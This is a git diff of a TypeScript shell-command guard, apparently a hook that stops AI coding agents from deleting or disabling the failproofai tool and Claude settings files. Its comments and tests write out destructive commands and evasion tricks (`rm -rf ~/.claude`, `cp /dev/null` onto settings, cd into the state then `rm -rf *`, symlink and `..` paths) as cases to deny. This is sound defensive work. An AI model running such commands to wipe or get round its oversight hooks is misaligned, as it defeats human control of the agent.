"compare-dest", "compress-choice", "compress-level", "contimeout", "copy-as", "copy-dest", "debug", "early-input", "exclude", "exclude-from", "files-from", "filter", "groupmap", "iconv", "include", "include-from", "info", "link-dest", "log-file", "log-file-format", "max-alloc", "max-delete", "max-size", "min-size", "modify-window", "only-write-batch", "outbuf", "out-format", "partial-dir", "password-file", "port", "protocol", "read-batch", "remote-option", "rsh", "rsync-path", "skip-compress", "sockopts", - "stop-after", "suffix", "temp-dir", "timeout", "usermap", "write-batch", + "stop-after", "stop-at", "suffix", "temp-dir", "timeout", "usermap", "write-batch", "zc", "zl", + ], + flags: [ + "acls", "append", "append-verify", "archive", "atimes", "backup", "blocking-io", "checksum", "compress", + "copy-devices", "copy-dirlinks", "copy-links", "copy-unsafe-links", "crtimes", "cvs-exclude", "daemon", "del", + "delay-updates", "delete", "delete-after", "delete-before", "delete-delay", "delete-during", + "delete-excluded", "delete-missing-args", "devices", "dirs", "dry-run", "executability", "existing", + "fake-super", "force", "from0", "fsync", "fuzzy", "group", "hard-links", "help", "human-readable", + "ignore-errors", "ignore-existing", "ignore-missing-args", "ignore-times", "inplace", "ipv4", "ipv6", + "itemize-changes", "keep-dirlinks", "links", "list-only", "mkpath", "munge-links", "no-implied-dirs", + "no-motd", "numeric-ids", "old-args", "old-d", "old-dirs", "omit-dir-times", "omit-link-times", + "one-file-system", "open-noatime", "owner", "partial", "perms", "preallocate", "progress", + "prune-empty-dirs", "quiet", "recursive", "relative", "remove-source-files", "safe-links", "secluded-args", + "size-only", "sparse", "specials", "stats", "stderr", "super", "times", "trust-sender", "update", "verbose", + "version", "whole-file", "write-devices", "xattrs", ], }, }; +/** + * The long option `name` stands for, and whether it takes a value: an exact + * name first, so `--partial` is not read as an abbreviation of + * `--partial-dir` and made to swallow the next word, then the one option an + * abbreviation can only mean. Ambiguous or unknown, the command refuses to run. + */ +function longOptionOf( + options: { values: readonly string[]; flags: readonly string[] }, + name: string, +): { full: string; value: boolean } | undefined { + if (options.values.includes(name)) return { full: name, value: true }; + if (options.flags.includes(name)) return { full: name, value: false }; + const matches = [ + ...options.values.filter((full) => full.startsWith(name)).map((full) => ({ full, value: true })), + ...options.flags.filter((full) => full.startsWith(name)).map((full) => ({ full, value: false })), + ]; + return name.length > 0 && matches.length === 1 ? matches[0] : undefined; +} + /** * npm's bin directory, `node_modules/.bin`. A directory moved, linked or copied * recursively ONTO it brings entries the line never names: @@ -946,6 +1010,8 @@ const GLOB_DECOYS = [ // Other packages' entries beside it, so `rm -rf node_modules/.bin/*` is the // sweep it is rather than an aim at failproofai's. "node_modules/.bin/tsc", "./node_modules/.bin/tsc", ".bin/tsc", + // Another dotfile ending in `ai`, so the `.*ai` of a sed program is a sweep. + ".openai", ]; /** @@ -1111,9 +1177,10 @@ function wordNamesState(word: string): boolean { // segment that is not the last one — compiled to a pattern that could never // equal `~/.failproofai` and was read as naming nothing. Naming a file INSIDE // the state is naming the state. - // Somebody else's home is the same place as the candidates' `/home/u`: + // `//`, `/./` and `..` change nothing a shell opens (`~//.failproof*`), and + // somebody else's home is the same place as the candidates' `/home/u`: // `/home/alice/.failproof*` and `~alice/.failproof*` named nothing. - const segments = word + const segments = (/\/\/|(?:^|\/)\.\.?\//.test(word) ? shellPath(undefined, word) : word) .replace(/^\/(home|Users)\/[^/]+(?=\/)/, "/$1/u") .replace(/^~[A-Za-z0-9._-]+(?=\/)/, "~") .split("/"); @@ -1125,13 +1192,16 @@ function wordNamesState(word: string): boolean { // And every stretch that starts after a `/`, because the paths the // multi-segment candidates stand for can sit under any directory: // `/work/proj/node_modules/.bin/fail*` named nothing as a whole word - // (FailproofAI/agenteye#1795). Only those candidates: a one-segment stretch - // such as `models/*ai` or the `.*ai` in `sed 's/.*ai/X/'` matches - // `.failproofai` by name, and no decoy can tell it from an aim at the state. + // (FailproofAI/agenteye#1795). A one-segment stretch only when it starts + // with a literal `.`: a shell's `*` never matches a dotfile, so `models/*ai` + // cannot reach `.failproofai`, while `/var/lib/jenkins/.failproof*` — a home + // no candidate spells — can. for (let start = 1; start < segments.length; start++) { const last = Math.min(segments.length, start + GLOB_CANDIDATE_DEPTH); - for (let end = start + 2; end <= last; end++) { - if (globPrefixNamesState(segments.slice(start, end).join("/"), MULTI_SEGMENT_GLOB_CANDIDATES)) return true; + const first = segments[start].startsWith(".") ? start + 1 : start + 2; + for (let end = first; end <= last; end++) { + const candidates = end - start === 1 ? STATE_GLOB_CANDIDATES : MULTI_SEGMENT_GLOB_CANDIDATES; + if (globPrefixNamesState(segments.slice(start, end).join("/"), candidates)) return true; } } return false; @@ -1367,35 +1437,79 @@ function commandBasename(token: string): string { const REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})/; const LONE_REDIRECT_OPERATOR_RE = /^(?:\d*|\{[A-Za-z_]\w*\})(?:>{1,2}\|?|<{1,3})$/; +/** + * A simple command split the way a shell splits it: on whitespace outside + * quotes, so `-H 'X-Ticket: #1795'` is one word. `quoted` says the word starts + * inside quotes or with an escape, where `#` and `>` are characters, not a + * comment or a redirect. + */ +function shellWords(text: string): Array<{ raw: string; quoted: boolean }> { + const words: Array<{ raw: string; quoted: boolean }> = []; + let current = ""; + let started = false; + let quoted = false; + let quote: string | null = null; + for (let i = 0; i < text.length; i++) { + const ch = text[i]; + if (quote === null && /\s/.test(ch)) { + if (started) words.push({ raw: current, quoted }); + current = ""; + started = false; + continue; + } + if (!started) { + started = true; + quoted = ch === "'" || ch === '"' || ch === "\\"; + } + current += ch; + if (ch === "\\" && quote !== "'" && i + 1 < text.length) { + current += text[++i]; + } else if (quote === null && (ch === "'" || ch === '"')) { + quote = ch; + } else if (ch === quote) { + quote = null; + } + } + if (started) words.push({ raw: current, quoted }); + return words; +} + /** * Walk off everything a shell resolves before it settles on the command word, - * and return the tokens from the command word on (`words`). Mirrors the walk in + * and return the words from the command word on. Mirrors the walk in * `classifySelfInvocation` — the same prefixes hide a deleter that hid the * binary, and `xargs -0 rm -f` is the one that matters most here. * - * `trimmed` is the same words with redirects and a comment taken out after the - * command word. The copy checks take the LAST operand for the destination, so a redirect or + * Redirects and a comment are not words, after the command word either. The + * copy checks take the LAST operand for the destination, so a redirect or a * comment after it became the destination they judged: * `cp /dev/null ~/.failproofai/policies-config.json 2>/dev/null` and - * `… node_modules/.bin/failproofai # keep` both walked through. But a token is - * read here without knowing whether it sits inside quotes, so `-H 'X: #1'` or - * `-name 'x #'` would cut off the real words after it. Neither list is right - * every time, so callers judge both and deny when either does (FailproofAI/agenteye#1795). - */ -function commandWordLists(simpleCommand: string): { words: string[]; trimmed: string[] } { - const all = simpleCommand - .trim() - .split(/\s+/) - .map((raw) => ({ raw, token: bareToken(raw) })) - .filter(({ token }) => token !== ""); - const tokens = all.map(({ token }) => token); + * `… node_modules/.bin/failproofai # keep` both walked through, while + * `uniq -c < ` read the file it only reads as one it writes. Split + * on whitespace alone, a quoted `#` or `<` cut off the real words after it, so + * the command is split the way a shell splits it (`shellWords`) + * (FailproofAI/agenteye#1795). A command word starting with `#` is a comment line. + */ +function commandWordList(simpleCommand: string): string[] { + const split = (text: string) => shellWords(text).map(({ raw, quoted }) => ({ raw, quoted, token: bareToken(raw) })); + const all = split(simpleCommand.trim()); let i = 0; - while (i < tokens.length) { - const token = tokens[i]; + for (let programs = 0; i < all.length; ) { + const { raw, quoted, token } = all[i]; + if (token === "") { + i++; + continue; + } + // A quoted word where the command goes is a program handed to a shell + // (`bash -c 'rm -rf …'`): its own words are the command. + if (quoted && /\s/.test(token) && programs++ < 4) { + all.splice(i, 1, ...split(token)); + continue; + } // A redirect operator and, when it stands alone, the token it targets — // `> file` must not leave `file` sitting where the command word goes. - if (/^\d*(?:>{1,2}\|?|<{1,3})/.test(token)) { - i += /^\d*(?:>{1,2}\|?|<{1,3})$/.test(token) ? 2 : 1; + if (!quoted && REDIRECT_OPERATOR_RE.test(raw)) { + i += LONE_REDIRECT_OPERATOR_RE.test(raw) ? 2 : 1; continue; } const skippable = @@ -1407,18 +1521,17 @@ function commandWordLists(simpleCommand: string): { words: string[]; trimmed: st if (!skippable) break; i++; } - const trimmed: string[] = []; + const words: string[] = []; for (let j = i; j < all.length; j++) { - // Judged on the token as written: a quoted `">"` or `"#"` is an argument. - const { raw, token } = all[j]; - if (j > i && raw.startsWith("#")) break; - if (j > i && REDIRECT_OPERATOR_RE.test(raw)) { + const { raw, quoted, token } = all[j]; + if (!quoted && raw.startsWith("#")) break; + if (j > i && !quoted && REDIRECT_OPERATOR_RE.test(raw)) { if (LONE_REDIRECT_OPERATOR_RE.test(raw)) j++; continue; } - trimmed.push(token); + words.push(token); } - return { words: tokens.slice(i), trimmed }; + return words; } /** @@ -1471,16 +1584,17 @@ function landsInDirectoryAs( const value = eq === -1 ? undefined : arg.slice(eq + 1); // GNU takes any unambiguous prefix of a long option: `--target DIR` is // `--target-directory`, `--rec` is `--recursive`, `--suf x` is `--suffix x`. - if (head !== "rsync" && name.length > 0 && "target-directory".startsWith(name)) { + const option = longOptionOf(options, name); + if (option?.full === "target-directory") { directory = value ?? args[++i]; - } else if (name.length >= 4 && "no-target-directory".startsWith(name)) { - ontoItself = true; - } else if (name.length >= 3 && ("recursive".startsWith(name) || "archive".startsWith(name))) { + } else if (option?.value) { + if (value === undefined) i++; + } else if (option?.full === "recursive" || option?.full === "archive") { recursive = true; - } else if (head === "install" && name.length >= 2 && "directory".startsWith(name)) { + } else if (option?.full === "no-target-directory") { + ontoItself = true; + } else if (option?.full === "directory" && head === "install") { createsDirectories = true; - } else if (name.length >= 2 && options.long.some((long) => long.startsWith(name))) { - if (value === undefined) i++; } continue; } @@ -1721,15 +1835,28 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) if (stateVars.size === before) break; } + // Asked again and again for the same words (every check below, for the words + // as written and as expanded), so answered once per text. + const named = new Map(); + const globbed = new Map(); + const globNamesState = (token: string): boolean => { + let verdict = globbed.get(token); + if (verdict === undefined) globbed.set(token, (verdict = globCouldNameState(token))); + return verdict; + }; const namesState = (text: string): boolean => { - if (FAILPROOFAI_STATE_PATH_RE.test(text)) return true; - for (const [, name] of text.matchAll(VAR_REFERENCE_RE)) { - if (stateVars.has(name)) return true; + let verdict = named.get(text); + if (verdict !== undefined) return verdict; + verdict = FAILPROOFAI_STATE_PATH_RE.test(text); + for (const [, name] of verdict ? [] : text.matchAll(VAR_REFERENCE_RE)) { + if (stateVars.has(name)) verdict = true; } // Per token, not over the whole text: a glob compiled from a whole command // line matches nothing, and it is the individual operand — `~/.failproof*` // — that would expand onto the state. - return text.split(/\s+/).some((token) => globCouldNameState(unquotedToken(token))); + verdict ||= text.split(/\s+/).some((token) => globNamesState(unquotedToken(token))); + named.set(text, verdict); + return verdict; }; let cwdInState = false; @@ -1749,55 +1876,140 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // (FailproofAI/agenteye#1795). Kept as its last `SHELL_DIR_SEGMENTS` segments // with `.` and `..` resolved, because the patterns match the tail of a path // and an unbounded path made every later word slower to judge. - let shellDir = startDir ? shellPath(undefined, startDir) : undefined; + let shellDir = startDir ? shellTail(shellPath(undefined, startDir)) : undefined; // A `cd` the walk could not follow (`cd "$(npm root)/.bin"`, `cd $ELSEWHERE`) // may have put the shell in npm's bin directory, so until the next one it can // follow, a relative word is also judged as if it stood in an installed // location (`AS_IF_INSTALLED`). let lostTrack = false; - type Where = { dir: string | undefined; lost: boolean }; + type Where = { dir: string | undefined; lost: boolean; inState: boolean }; let previous: Where | null = null; const dirStack: Where[] = []; const shellDirScopes: Array<{ depth: number; at: Where; previous: Where | null; stack: Where[] }> = []; - // A relative word read from where the shell stands, and `..` resolved in any. + const here = (): Where => ({ dir: shellDir, lost: lostTrack, inState: cwdInState }); + // A relative word read from where the shell stands, and `//`, `.` and `..` + // resolved in any. const inShell = (word: string): string => - relativeWord(word) && shellDir !== undefined ? shellPath(shellDir, word) : word.includes("..") ? shellPath(undefined, word) : word; - const judged = new Map(); - const judge = (path: string): boolean => { - let verdict = judged.get(path); - if (verdict === undefined) judged.set(path, (verdict = namesState(path))); - return verdict; - }; - const namesHere = (text: string): boolean => { - if (namesState(text)) return true; + relativeWord(word) && shellDir !== undefined + ? shellPath(shellDir, word) + : /\/\/|(?:^|\/)\.\.?(?:\/|$)/.test(word) + ? shellPath(undefined, word) || "." + : word; + const namesHere = (text: string): boolean => namesState(text) || resolvesOntoState(text); + // Whether `text`, read from where the shell stands, names what `namesState` + // protects — asked apart from `namesState(text)` where the whole line has + // already been judged as written. + const resolvesOntoState = (text: string): boolean => { + // An option is not a path to read from where the shell stands. + if (text.startsWith("-")) return false; // Every pattern spells `failproof`, so only a word or a directory that - // does, or a glob that could, can resolve onto one. - if (!/failproof/i.test(text) && !/failproof/i.test(shellDir ?? "") && !GLOB_METACHAR_RE.test(text)) return false; - if (lostTrack && relativeWord(text)) return AS_IF_INSTALLED.some((dir) => judge(dir + text)); + // does, or a glob that could, can resolve onto one. A glob as written is + // already tried against every candidate that starts with a relative + // directory, so it is read from where the shell stands only when that is a + // directory a candidate continues from by one name (`node_modules/.bin` + // and `fail*`), or when it climbs out with `..`. + const spellsName = /failproof/i.test(text) || /failproof/i.test(shellDir ?? ""); + if (!spellsName) { + if (!GLOB_METACHAR_RE.test(text)) return false; + const parent = (shellDir ?? "").slice((shellDir ?? "").lastIndexOf("/") + 1).toLowerCase(); + if (!lostTrack && !GLOB_PARENT_DIRECTORIES.has(parent) && !text.includes("..")) return false; + } + if (lostTrack && relativeWord(text)) return AS_IF_INSTALLED.some((dir) => namesState(dir + text)); const resolved = inShell(text); - return resolved !== text && judge(resolved); + return resolved !== text && namesState(resolved); }; // What the line assigns, so a word built from it is judged as the path it - // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` is where the - // shell stands, `$HOME` is `~`. A variable the line never sets stays a - // reference, and a `cd` into one is a `cd` the walk cannot follow. + // spells: `B=~/node_modules/.bin; ln -s /tmp/stage $B`. `$PWD` and `~+` are + // where the shell stands, `~-` where it stood, `$HOME` is `~` unless the line + // sets it. A variable the line never sets stays a reference, and a `cd` into + // one is a `cd` the walk cannot follow. Every word is judged as written as + // well, so an assignment the shell never makes (`: D=x`) cannot hide one. const values = new Map(assignments); const expand = (word: string): string => { let out = word; + if (out.startsWith("~+") && shellDir !== undefined && !lostTrack) out = shellDir + out.slice(2); + else if (out.startsWith("~-") && previous?.dir !== undefined && !previous.lost) out = previous.dir + out.slice(2); for (let pass = 0; pass < 3 && out.includes("$"); pass++) { out = out.replace(VAR_REFERENCE_RE, (reference, name: string) => - name === "PWD" && shellDir !== undefined ? shellDir : values.get(name) ?? (name === "HOME" ? "~" : reference), + name === "PWD" && shellDir !== undefined && !lostTrack ? shellDir : values.get(name) ?? (name === "HOME" ? "~" : reference), ); + // A value that refers to itself grows with every pass. + if (out.length > 4096) return word; } return out; }; - const moveTo = (to: Where) => { - previous = { dir: shellDir, lost: lostTrack }; - shellDir = to.dir; + // `full` is the directory before `shellTail` cuts it, so a deep path inside + // the state is still known to be inside it; `named` is the operand as + // written, judged when the walk cannot follow it. + const moveTo = (to: Where | { dir: string | undefined; lost: boolean; full?: string; named?: string }) => { + previous = here(); + shellDir = to.dir === undefined ? undefined : shellTail(to.dir); lostTrack = to.lost; - cwdInState = !to.lost && to.dir !== undefined && namesState(to.dir); + cwdInState = + "inState" in to + ? to.inState + : (!to.lost && to.dir !== undefined && namesState(to.full ?? to.dir)) || (to.named !== undefined && namesState(to.named)); cdParenDepth = cwdInState ? parenDepth : null; }; + const moveToWord = (target: string, named: string) => { + if (/\$|`/.test(target)) { + moveTo({ dir: undefined, lost: true, named }); + return; + } + const full = shellPath(relativeWord(target) && !lostTrack ? shellDir : undefined, target); + moveTo({ dir: full, lost: lostTrack && relativeWord(target), full, named }); + }; + // `cd`, `pushd` and `popd` as bash runs them. A move that fails — `popd` on + // an empty stack, `cd -` with nowhere to go back to, `cd ""` — leaves the + // shell where it was, never somewhere safe. `+N` / `-N` count entries the + // way `dirs` lists them: the current directory first, then the stack from + // its top. `cd -` is `$OLDPWD` and a bare `cd` is `$HOME`, either of which + // the line may set itself. + const moveShell = (head: string, args: string[], expandedArgs: string[]) => { + const at = here(); + const k = args.findIndex((w) => !w.startsWith("-") || w === "-" || /^[+-]\d+$/.test(w)); + const named = k === -1 ? undefined : args[k]; + const operand = k === -1 ? undefined : expandedArgs[k]; + if (operand !== undefined && head !== "cd" && /^[+-]\d+$/.test(operand)) { + const entries = [at, ...[...dirStack].reverse()]; + const n = Number(operand.slice(1)); + const index = operand.startsWith("+") ? n : entries.length - 1 - n; + if (index < 0 || index >= entries.length) return; + if (head === "pushd") { + const rotated = [...entries.slice(index), ...entries.slice(0, index)]; + dirStack.splice(0, dirStack.length, ...rotated.slice(1).reverse()); + moveTo(rotated[0]); + } else if (entries.length > 1) { + const rest = entries.filter((_, i) => i !== index); + dirStack.splice(0, dirStack.length, ...rest.slice(1).reverse()); + if (index === 0) moveTo(rest[0]); + } + return; + } + if (head === "popd") { + const top = dirStack.pop(); + if (top) moveTo(top); + return; + } + if (head === "pushd" && operand === undefined) { + const top = dirStack.pop(); + if (top) { + dirStack.push(at); + moveTo(top); + } + return; + } + if (operand === "-") { + const oldpwd = values.get("OLDPWD"); + if (oldpwd !== undefined) moveToWord(expand(oldpwd), oldpwd); + else if (previous) moveTo(previous); + return; + } + if (operand === "") return; + if (head === "pushd") dirStack.push(at); + const target = operand ?? expand("$HOME"); + moveToWord(target, named ?? target); + }; // A loop header hands its word list to the body, and the body is a separate // pipeline that names nothing. Without this, `for f in ~/.failproofai/*; do @@ -1818,56 +2030,37 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) // `cat ~/.failproofai/config.json > /tmp/backup.json` both denied, which is // exactly the diagnosis this guard must not block. for (const [, target] of pipeline.matchAll(REDIRECT_TARGET_RE)) { - if (namesHere(expand(target.replace(/^["']|["']$/g, "")))) return true; + const written = target.replace(/^["']|["']$/g, ""); + if (namesHere(written) || namesHere(expand(written))) return true; } for (const simple of simpleCommands) { - // Parentheses inside quotes open and close nothing, and a substitution's - // are not a subshell: `cd $(npm root)/.bin` moves this shell. - const shellText = withoutSubstitutions(simple.replace(/'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); + // Parentheses inside quotes or escaped open and close nothing, and a + // substitution's are not a subshell: `cd $(npm root)/.bin` moves this shell. + const shellText = withoutSubstitutions(simple.replace(/\\[()]|'[^']*'|"(?:[^"\\]|\\.)*"/g, "")); parenDepth += (shellText.match(/\(/g) ?? []).length; - const lists = Object.values(commandWordLists(simple)).map((list) => list.map(expand)); - const words = lists[0]; + const words = commandWordList(simple); + const expanded = words.map(expand); + const lists = expanded.some((word, k) => word !== words[k]) ? [words, expanded] : [words]; const head = words.length > 0 ? commandBasename(words[0]) : ""; // Track the shell's position before judging: a `cd` INTO the state makes // every later relative path a state path, and a `cd` back out ends that. if (head === "cd" || head === "pushd" || head === "popd") { if (parenDepth > 0) { - shellDirScopes.push({ depth: parenDepth, at: { dir: shellDir, lost: lostTrack }, previous, stack: dirStack.slice() }); - } - const at: Where = { dir: shellDir, lost: lostTrack }; - const operand = words.slice(1).find((w) => !w.startsWith("-") || w === "-"); - // A `popd`, a bare `pushd` or a `cd -` with nothing to return to fails - // and leaves the shell where it was. - if (head === "popd") { - const top = dirStack.pop(); - if (top) moveTo(top); - } else if (head === "pushd" && operand === undefined) { - // A bare `pushd` swaps the top two directories. - const top = dirStack.pop(); - if (top) { - dirStack.push(at); - moveTo(top); - } - } else if (operand === "-") { - if (previous) moveTo(previous); - } else { - if (head === "pushd") dirStack.push(at); - // No operand is home. - const target = operand ?? "~"; - moveTo( - /\$|`/.test(target) - ? { dir: undefined, lost: true } - : { dir: shellPath(relativeWord(target) && !lostTrack ? shellDir : undefined, target), lost: lostTrack && relativeWord(target) }, - ); + shellDirScopes.push({ depth: parenDepth, at: here(), previous, stack: dirStack.slice() }); } + moveShell(head, words.slice(1), expanded.slice(1)); } else if (lists.some((list) => landsInDirectoryAs(list, namesState, inShell, lostTrack))) { // Before the `reachesState` gate, because the point is that nothing on // the line names the path: the source's name and the directory do. return true; } else if ( words.length > 0 && - (reachesState || lists.some((list) => list.some((w) => namesHere(w)))) && + // Operands only: the command word is a program, not a path written to. + // The line as written is `reachesState`; a word adds to it only by + // resolving from where the shell stands, or by what expansion made it. + (reachesState || + words.some((word, k) => k > 0 && (resolvesOntoState(word) || (expanded[k] !== word && namesHere(expanded[k]))))) && lists.some((list) => simpleCommandDestroys(list, namesHere)) ) { // Judged BEFORE the closing parenthesis is counted: a `rm -rf ./*)` @@ -1879,10 +2072,14 @@ function destroysFailproofaiState(command: string, depth = 0, startDir?: string) cwdInState = false; cdParenDepth = null; } + // Leaving a subshell puts back where the shell stood before it, inside + // the state included: `cd ~/.failproofai && (cd /tmp) && rm -rf *`. while (shellDirScopes.length > 0 && parenDepth < shellDirScopes[shellDirScopes.length - 1].depth) { const scope = shellDirScopes.pop()!; shellDir = scope.at.dir; lostTrack = scope.at.lost; + cwdInState = scope.at.inState; + cdParenDepth = cwdInState ? parenDepth : null; previous = scope.previous; dirStack.splice(0, dirStack.length, ...scope.stack); } @@ -1901,6 +2098,14 @@ const SHELL_DIR_SEGMENTS = 16; */ const AS_IF_INSTALLED = ["node_modules/.bin/", "node_modules/", "/bin/"]; +/** + * The directories a glob candidate continues from by one name: `.bin` and + * `bin` hold the entry, `node_modules` and `.pnpm` the package, `pnpm` is + * pnpm's home. Only from these can a relative glob that does not spell the + * name itself (`fail*`) land on installed code. + */ +const GLOB_PARENT_DIRECTORIES = new Set([".bin", "bin", "node_modules", ".pnpm", "pnpm"]); + /** * `text` without its `$(…)` command substitutions, so their parentheses are * not counted as a subshell's. One left open runs to the end of the text. @@ -1935,22 +2140,34 @@ function couldBeEntryName(name: string): boolean { /** * `word` read from directory `base` (as given when absolute, or with no base), - * with `.` and `..` resolved as text, the way a shell's logical `cd` does, and - * cut to its last `SHELL_DIR_SEGMENTS` segments. Every protected pattern - * matches the END of a path, so the dropped head never decides anything, and - * the cut keeps a script of a thousand `cd`s from growing every later word. + * with `//`, `.` and `..` resolved as text, the way a shell's logical `cd` + * does. */ function shellPath(base: string | undefined, word: string): string { + const joined = base === undefined ? word : `${base}/${word}`; + const absolute = joined.startsWith("/"); const parts: string[] = []; - for (const part of (base === undefined ? word : `${base}/${word}`).split("/")) { - if (part === ".") continue; - if (part === ".." && parts.length > 0 && parts[parts.length - 1] !== ".." && parts[parts.length - 1] !== "") { - parts.pop(); + for (const part of joined.split("/")) { + if (part === "" || part === ".") continue; + if (part === "..") { + if (parts.length > 0 && parts[parts.length - 1] !== "..") parts.pop(); + else if (!absolute) parts.push(part); continue; } parts.push(part); } - return parts.slice(-SHELL_DIR_SEGMENTS).join("/"); + return (absolute ? "/" : "") + parts.join("/"); +} + +/** + * A directory cut to its last `SHELL_DIR_SEGMENTS` segments. Every protected + * pattern matches the END of a path, so the dropped head never decides + * anything, and the cut keeps a script of a thousand `cd`s from growing every + * later word it is joined to. + */ +function shellTail(path: string): string { + const parts = path.split("/"); + return parts.length > SHELL_DIR_SEGMENTS ? parts.slice(-SHELL_DIR_SEGMENTS).join("/") : path; } const FAILPROOFAI_UNINSTALL_RE = /(?:npm\s+(?:uninstall|remove|un|r)\s.*failproofai|bun\s+remove\s.*failproofai|yarn\s+global\s+remove\s+failproofai|pnpm\s+(?:remove|uninstall|un)\s.*failproofai)/; From 6d31038d8fb40cfc3f69e349edf6b176fdbff837 Mon Sep 17 00:00:00 2001 From: NiveditJain Date: Tue, 24 Nov 2026 19:20:12 +0530 Subject: [PATCH 25/89] [hooks] Close CodeRabbit's later reviews: quoted redirect targets, ~/link/.., linear runs (#1794) Each claim reproduced before the fix: - A redirect target with a space (`2> '/tmp/build log'`, `> "/tmp/a b"`, `2>/tmp/a\ b`) left its tail in a copy's operands, and the tail became the destination. Redirects are now blanked whole, found in the splittable view so a `>` inside a quoted argument stays. - `~/link/../settings.json`: the home prefix was expanded with `join`, which dropped `link/..` before the walk could follow `link`. Only the prefix is expanded now. - A heredoc ended at any line whose trim was the delimiter; bash needs the line to BE it (`<<-` strips leading tabs only). - Long runs of `(` or `|` were quadratic: the CLI and run-text regexes' path prefix (`\S*/`) rescanned the run from every one of them; and each `$NAME`, spliced to `*`, was tested against every glob candidate again. The prefix stops at separators now, glob verdicts are cached per walk, and open expansions are counted rather than looked up. 20k parens and 20k variables: 5.9 s -> 0.12 s. - config --status: hooks installed only in the repository root's local file count as installed; `managed-settings.d/*.json` fragments decide over the base file, the last one first; a linked worktree's local settings are read at the main checkout's root (Claude Code's docs). Declined, with reasons in the PR: excluding comments from the run-text lookahead, a command-head rule for inline programs, pipe-only heredoc consumers, and a quoted `-F "-"` operand. Co-Authored-By: Claude Opus 5.5 --- __tests__/hooks/claude-hooks-switch.test.ts | 35 +++++++++- __tests__/hooks/settings-guard.test.ts | 40 +++++++++++ src/hooks/agent-settings-guard.ts | 12 ++-- src/hooks/builtin-policies.ts | 73 +++++++++++++++++---- src/hooks/claude-hooks-switch.ts | 58 +++++++++++++--- src/hooks/config-status.ts | 11 +++- 6 files changed, 201 insertions(+), 28 deletions(-) diff --git a/__tests__/hooks/claude-hooks-switch.test.ts b/__tests__/hooks/claude-hooks-switch.test.ts index 67080202e..6f7578951 100644 --- a/__tests__/hooks/claude-hooks-switch.test.ts +++ b/__tests__/hooks/claude-hooks-switch.test.ts @@ -142,7 +142,8 @@ describe("config --status — disableAllHooks", () => { expect(claudeHooksSwitchedOff(project, managed())).toBe(managed()); }); - it("reads a repository's local settings at its root when run from a subdirectory", () => { + // Windows keeps the file where the session started; that case injects "win32" below. + it.skipIf(process.platform === "win32")("reads a repository's local settings at its root when run from a subdirectory", () => { const repo = join(dir, "repo"); mkdirSync(join(repo, ".git"), { recursive: true }); mkdirSync(join(repo, "src"), { recursive: true }); @@ -159,6 +160,38 @@ describe("config --status — disableAllHooks", () => { expect(claudeHooksSwitchedOff(join(repo, "src"), managed())).toBe(join(repo, "src", ".claude", "settings.local.json")); }); + it.skipIf(process.platform === "win32")("finds hooks installed only in the repository root's local file", () => { + const repo = join(dir, "repo"); + mkdirSync(join(repo, ".git"), { recursive: true }); + mkdirSync(join(repo, "src"), { recursive: true }); + put(join(repo, ".claude", "settings.local.json"), { ...ourHooks, disableAllHooks: true }); + expect(claudeHooksSwitchedOff(join(repo, "src"), managed())).toBe(join(repo, ".claude", "settings.local.json")); + }); + + it.skipIf(process.platform === "win32")("reads a worktree's local settings at the main checkout's root", () => { + const main = join(dir, "main"); + const worktree = join(dir, "wt"); + mkdirSync(join(main, ".git", "worktrees", "wt"), { recursive: true }); + writeFileSync(join(main, ".git", "worktrees", "wt", "commondir"), "../..\n"); + mkdirSync(join(worktree, "src"), { recursive: true }); + writeFileSync(join(worktree, ".git"), `gitdir: ${join(main, ".git", "worktrees", "wt")}\n`); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(join(main, ".claude", "settings.local.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(join(worktree, "src"), managed())).toBe(join(main, ".claude", "settings.local.json")); + }); + + it("lets the last managed-settings.d fragment decide over the base file", () => { + const project = join(dir, "project"); + const fragments = join(dir, "managed-settings.d"); + put(join(dir, "home", ".claude", "settings.json"), ourHooks); + put(managed(), { disableAllHooks: false }); + put(join(fragments, "10-hooks.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(project, managed())).toBe(join(fragments, "10-hooks.json")); + put(join(fragments, "20-later.json"), { disableAllHooks: false }); + put(join(fragments, ".hidden.json"), { disableAllHooks: true }); + expect(claudeHooksSwitchedOff(project, managed())).toBeNull(); + }); + it("keeps it in the starting directory on Windows and when the repository is the home directory", () => { const home = join(dir, "home"); mkdirSync(join(home, ".git"), { recursive: true }); diff --git a/__tests__/hooks/settings-guard.test.ts b/__tests__/hooks/settings-guard.test.ts index a5b604311..ff52a123c 100644 --- a/__tests__/hooks/settings-guard.test.ts +++ b/__tests__/hooks/settings-guard.test.ts @@ -876,6 +876,7 @@ describe("block-failproofai-commands — review round six", () => { symlinkSync(join(h6, ".claude"), join(p6, "agent-dir")); symlinkSync(join(h6, ".claude", "subdir"), join(p6, "link")); symlinkSync(join(h6, ".claude", "settings.local.json"), join(p6, "dangling.json")); + symlinkSync(join(h6, ".claude", "subdir"), join(h6, "hlink")); outerHome = process.env.HOME; process.env.HOME = h6; }); @@ -976,6 +977,45 @@ describe("block-failproofai-commands — review round six", () => { }); }); + describe("CodeRabbit's later reviews", () => { + it("follows a link before a .. in a home path, from the shell and from a file tool", async () => { + expect(await bash(`printf '{}' > ~/hlink/../settings.json`)).toBe(true); + expect(await write("~/hlink/../settings.json")).toBe(true); + }); + + it.each([ + `cp /dev/null ~/.claude/settings.json 2> '/tmp/build log'`, + `cp /dev/null ~/.claude/settings.json > "/tmp/a b"`, + `cp /dev/null ~/.claude/settings.json 2>/tmp/a\\ b`, + `cp /dev/null ~/.claude/settings.json 2>'/tmp/a b'`, + ])("takes a redirect's whole target out of the copy's operands: %s", async (command) => { + expect(await bash(command)).toBe(true); + }); + + it("leaves a quoted > inside an argument where it is", async () => { + expect(await bashDecision(`cp "/tmp/a > b" /tmp/out`)).toBe("allow"); + }); + + it("ends a heredoc only at a line that is its delimiter", async () => { + expect(await bashDecision(`cat > notes.md <<'EOF'\nEOF \nrm -rf ~/.claude\nEOF\n`)).toBe("allow"); + expect(await bashDecision(`cat > notes.md <<'EOF'\n EOF\nrm -rf ~/.claude\nEOF\n`)).toBe("allow"); + expect(await 